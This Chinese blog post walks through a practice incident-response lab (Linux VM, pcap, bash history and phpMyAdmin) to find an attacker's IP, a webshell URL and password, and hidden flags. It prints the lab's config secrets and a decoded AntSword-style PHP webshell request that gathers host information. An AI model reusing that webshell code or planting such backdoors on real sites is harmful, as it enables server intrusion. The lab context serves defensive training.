应急响应靶机——linux2

devtools/2024/11/24 18:50:23/

载入虚拟机,打开虚拟机:

居然是没有图形化界面的那种linux,账户密码:root/Inch@957821.(注意是大写的i还有英文字符的.)


查看虚拟机IP,192.168.230.10是NAT模式下自动分配的


看起来不是特别舒服,用连接工具MobaXterm或者Xshell进行连接:


查看当前路径下的文件:

发现有wp和数据包两个看起来挺重要的文件


wp文件有执行权限,先运行wp:

看来wp是个解题程序

1、攻击者IP

2、攻击者修改的管理员密码

3、第一次webshell的连接URL

4、webshell连接密码

5、数据包的flag1

6、攻击者使用的后续上传的木马文件名称

7、攻击者隐藏的flag2

8、攻击者隐藏的flag3


下载数据包1.pcang


上传whoamifuck.sh文件,给予执行权限并运行:

得到两个IP,但应该只有一个IP是攻击者的(题目没说有两个IP),试验一下是哪个IP

看来攻击者IP是192.168.20.1


history命令查看历史命令,发现flag3:

得到flag3:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}


wireshark打开刚才下载的数据包1.pcang

ip.addr==192.168.20.1,搜索关键词”flag1“:

当然也可以追踪tcp流,发现在流20:

得到flag1:flag1{Network@_2020_Hack}


查看开放的服务有哪些:

./whoamifuck.sh -x

发现mysqld和bt服务在运行(这个bt后面再讲)


在/www/wwwlogs/access.log中发现了”GET /phpmyadmin“:

说明网站搭建数据库是使用了phpmyadmin,直接去找配置文件config.inc.php


最后在/www/wwwroot/127.0.0.1/lib目录下找到了config.inc.php文件:


查看config.inc.php文件内容:

<?php/** 常规常量设置 */
define('DOMAINTYPE','off');
define('CH','exam_');
define('CDO','');
define('CP','/');
define('CRT',180);
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');//请随机生成32位字符串修改此处值
define('HE','utf-8');
define('PN',10);
define('TIME',time());
if(dirname($_SERVER['SCRIPT_NAME']))
{define('WP','http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/');
}
else
{define('WP','http://'.$_SERVER['SERVER_NAME'].'/');
}
define('OPENOSS',false);/**接口加密设置**/
define('APIKEY','356d9abc2532ceb0945b615a922c3370');
define('APIIV','#phpems90iv*');
/**composer开关**/
define('COMPOSER',0);
/** 数据库设置 */
define('SQLDEBUG',0);
define('DB','kaoshi');//MYSQL数据库名
define('DH','127.0.0.1');//MYSQL主机名,不用改
define('DU','kaoshi');//MYSQL数据库用户名
define('DP','5Sx8mK5ieyLPb84m');//MYSQL数据库用户密码
define('DTH','x2_');//系统表前缀,不用改/** 微信相关设置 */
define('USEWX',false);//微信使用开关,绑定用户,false时不启用
define('WXAUTOREG',false);//微信开启自动注册,设置为false时转向登录和注册页面,绑定openid
define('WXPAY',false);
//define('FOCUSWX',true);//强制引导关注微信
//define('WXQRCODE','qrcode.png');//微信公众号二维码地址
define('EP','@phpems.net');//微信开启自动注册时注册邮箱后缀
define('OPENAPPID','wx7703aa61284598ea');//开放平台账号
define('OPENAPPSECRET','36745ed4d4ea9da9f25e7b3ccd06d5ef');
define('MPAPPID','wx7703aa61284598ea');//小程序账号
define('MPAPPSECRET','36745ed4d4ea9da9f25e7b3ccd06d5ef');
define('WXAPPID','wx6967d8319bfeea19');//公众号账号
define('WXAPPSECRET','4d462a770aebb7460e2284cbd448cee0');
define('WXMCHID','1414206302');//MCHID
define('WXKEY','72653616204d16975931a46f9296092e');/** 支付宝相关设置 */
define('ALIPAY',false);
/**MD5**/
define('ALIPART','111171660');
define('ALIKEY','os11111117fmljymmcau');
define('ALIACC','111111@qq.com');
/**RAS2**/
define('ALIAPPID','2016072738');
define('ALIPRIKEY','MIIEogIBAMXsHR2vhl3BqWBbXfDaIcrJgNssIUddVCX6fT9YWiPXCiCeu5M=');
define('ALIPUBKEY','MIIBIjANXRkaDw6wIDAQAB');/** payjz相关设置 */
define('PAYJSASWX','NO');//使用PAYJZ的微信支付接口代替微信支付,不使用请设置为NO
define('PAYJSMCHID','1551052561');
define('PAYJSKEY','Zz8ks1ZP3UPKeTGi');
?>

数据库账户密码:

kaoshi: 5Sx8mK5ieyLPb84m


登录数据库:

mysql -ukaoshi -p5Sx8mK5ieyLPb84m

show databases;

use kaoshi;

show tables;

select * from x2_user_group;


select * from x2_user where userid=1;

得到管理员密码是Network@2020


再次回到wireshark的报文,由前面的flag1在tcp流的流20中,从1开始查看:

发现在流1是一堆乱码,流2中第一次看到正常的报文,url解码流2的关键代码

Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.fd491f470fb7";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};
}
;
;
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "4a0c"."dc70";echo @asenc($output);echo "db6"."da5";
}
ob_start();
try {$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/") {foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";} else {$R.="/";}$R.="   ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="   {$s}";echo $R;;
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

丢个AI分析一下:

那就找对了,说明第一次webshell的连接URL是:index.php?user-app-register


此时注意到Network2020=@ini_set("display_errors", "0");

这句代码基本是所有webshell客户端链接PHP类WebShell都有的一种代码

比如蚁剑:

得知webshell连接密码是:Network2020


为了获取webshell木马文件,将http包和POST请求过滤出来:

http && http.request.method==POST

发现POST了一个version2.php,此时回想起history命令得到的结果中显示了删除version2.php的命令记录,version2.php应该是木马文件?

后面追踪了version2.php的tcp流


看到别人说这是冰蝎的webshell特征:


去wp验证一下对不对吧

说明后续上传的木马名称是version2.php


还差一个flag2,再回顾一下history命令:

发现在隐藏目录.api/中修改了mpnotify.php和alinotify.php文件


看看修改了alinotify.php什么内容:

成功得到flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}


总结一下:

1、192.168.20.1

2、Network@2020

3、index.php?user-app-register

4、Network2020

5、flag1{Network@_2020_Hack}

6、version2.php

7、flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

8、flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

成功攻克该靶机!


前面提到的bt是什么,bt是宝塔面板,该靶机是利用宝塔面板管理的


修改宝塔面板密码为root:


查看宝塔面板默认信息:

https://192.168.230.10:12485/5a2ce72d

uysycv5w/root


登录宝塔面板:


在“日志”模块发现基本上都是192.168.20.1的IP地址访问:

当然,在“网站”模块一样能发现异常访问:

攻击者IP:192.168.20.1


在“数据库”模块查看phpMyAdmin管理员密码:


一眼看出是md5加密:

管理员密码:Network@2020


在“网站”模块中添加靶机IP(192.168.230.10)

访问靶机,发现是个PHPEMS模拟考试系统:

利用获取到的管理员账户密码:peadmin/Network@2020进行登录,进入到“后台管理”:


在“文件”模块的“内容/标签管理/标签修改”处发现木马,且位置在“注册页面”:

得到webshell连接密码:Network2020


注册页面URL:

得知第一次webshell连接的URL:index.php?user-app-register

后续的步骤也基本一致了,这里就不再赘述


http://www.ppmy.cn/devtools/136614.html

相关文章

法语旅游常用口语-柯桥学外语到蓝天广场泓畅学校

以下是一些实用的法语旅游常用口语&#xff0c;帮助你在法国旅行时能够进行基本的交流&#xff1a; 问候与道别 Bonjour: 用于日常问候。Au revoir: 用于告别。 请求帮助 S’il vous plat: 用于请求帮助&#xff0c;例如在需要寻找某个地点或服务时。 询问信息 Excusez-moi: 用…

力扣 56. 合并区间

&#x1f517; https://leetcode.cn/problems/merge-intervals 题目 给出若干区间的起始位置和结束位置 start_i, end_i对这些重叠的区间进行合并&#xff0c;返回不重叠的区间数组 思路 模拟&#xff0c;根据 start_i 排序之后&#xff0c;根据 end_i 判断处理后续的区间是…

实时检测跟踪模块

# 实时检测跟踪模块&#xff0c;并将检测跟踪结果保存到数据库中 # -*- coding: utf-8 -*- import argparse import os os.environ["OMP_NUM_THREADS"] "1" os.environ["OPENBLAS_NUM_THREADS"] "1" os.environ["MKL_NUM_THREA…

第10章JavaScript的应用

10.1 JavaScript概述 10.1.1 JavaScript简介 10.1.1.1 简单性 10.1.1.2 动态性 10.1.1.3 跨平台性 10.1.1.4 安全性 10.1.1.5 基于对象的语言 10.1.2 JavaScript入门案例 10.1.3 JavaScript放置的位置 10.1.3.1 head标记中的脚本 代码 <!DOCTYPE html> <ht…

mongoDB副本集搭建-docker

MongoDB副本集搭建-docker 注&#xff1a;在进行副本集搭建前&#xff0c;请先将服务部署docker环境并正常运行。 #通过--platform指定下载镜像的系统架构 在这我用的是mongo:4.0.28版本 arm64系统架构的mongo镜像 docker pull --platformlinux/arm64 mongo:4.0.2#查看镜像是…

DataGear 企业版 1.3.0 发布,数据可视化分析平台

DataGear 企业版 1.3.0 已发布&#xff0c;欢迎体验&#xff01; http://datagear.tech/pro/ 企业版 1.3.0 新增看板全局导入库管理功能、统一登录功能改进、安全增强&#xff0c;具体更新内容如下&#xff1a; 新增&#xff1a;新增看板全局导入库管理功能&#xff0c;支持…

04 - 尚硅谷 - MQTT 客户端编程

1.在Java中使用MQTT 1.1 Eclipse Paho Java Client 具体步骤&#xff1a; 1、创建一个Spring Boot项目&#xff0c;添加如下依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId>…

想做一个类似于东郊到家这样的预约上门小程序,app也行,这个现在好不好运营?

传统推拿按摩服务通常需要顾客亲自到店接受技师的治疗&#xff0c;这就不可避免地涉及到门店租赁和技师聘请的费用。每年&#xff0c;这些费用加起来可能高达数十万&#xff0c;对于许多小型推拿店来说&#xff0c;这无疑是一个沉重的负担。 并且&#xff0c;传统推拿按摩的获客…